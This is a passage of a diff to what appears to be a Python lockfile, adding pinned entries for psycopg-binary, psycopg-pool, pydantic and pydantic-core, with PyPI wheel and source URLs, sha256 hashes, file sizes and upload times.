"https://files.pythonhosted.org/packages/a2/23/ccadfd0de416aa188356daa199453af24087b042e296088706d190ae0295/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:46893c26858be12cc49ca4226ed6a60b4bfccadd946b3bebb783a60b38788228", size = 4533549, upload-time = "2026-05-01T23:31:26.204Z" }, + { url = "https://files.pythonhosted.org/packages/fd/a0/c8f43cee36386f7bc891ab41a9d31ea07cf9826038e732da79f26b1e5f34/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:df1d567fc430f6df15c9fcf67d87685fc49bdb325adc0db5af1adfb2f44eb5c9", size = 4210256, upload-time = "2026-05-01T23:31:33.884Z" }, + { url = "https://files.pythonhosted.org/packages/4e/2c/c1547871be3790676e8868b38655496422f94f0978dfb66b74bdba2f1676/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:6b9016b1714da4dd5ecaaa75b82098aa5a0b87854ce9b092e21c27c4ae23e014", size = 3946204, upload-time = "2026-05-01T23:31:39.626Z" }, + { url = "https://files.pythonhosted.org/packages/c4/b1/f6670f00fa7ea601584623f6c11602ab92117d83eaff885e0210f6de7418/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:47c656a8a7ba6eb0cff1801a4caaa9c8bdc12d03080e273aff1c8ac39971a77e", size = 4255811, upload-time = "2026-05-01T23:31:44.986Z" }, + { url = "https://files.pythonhosted.org/packages/eb/e6/5fff07a70d1f945ed90ae131c3bd76cab32beff7c58c6db15ad5820b6d1f/psycopg_binary-3.3.4-cp314-cp314-win_amd64.whl", hash = "sha256:c37e024c07308cd06cf3ec51bfd0e7f6157585a4d84d1bce4a7f5f7913719bf8", size = 3666849, upload-time = "2026-05-01T23:31:51.165Z" }, +] + +[[package]] +name = "psycopg-pool" +version = "3.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/90/82/7a23d26039827ecd4ebe93905651029ddd307c5182ad59296dfb6f67b528/psycopg_pool-3.3.1.tar.gz", hash = "sha256:b10b10b7a175d5cc1592147dc5b7eec8a9e0834eb3ed2c4a92c858e2f51eb63c", size = 31661, upload-time = "2026-05-01T23:31:59.809Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/ed/89c2c620af0e1660354cd8aabf9f5b21f911597ce22acb37c805d6c86bc8/psycopg_pool-3.3.1-py3-none-any.whl", hash = "sha256:2af5b432941c4c9ad5c87b3fa410aec910ec8f7c122855897983a06c45f2e4b5", size = 40023, upload-time = "2026-05-01T23:31:53.136Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" }, + { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" }, + { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" }, + { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" }, + { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" }, + { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" }, + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = 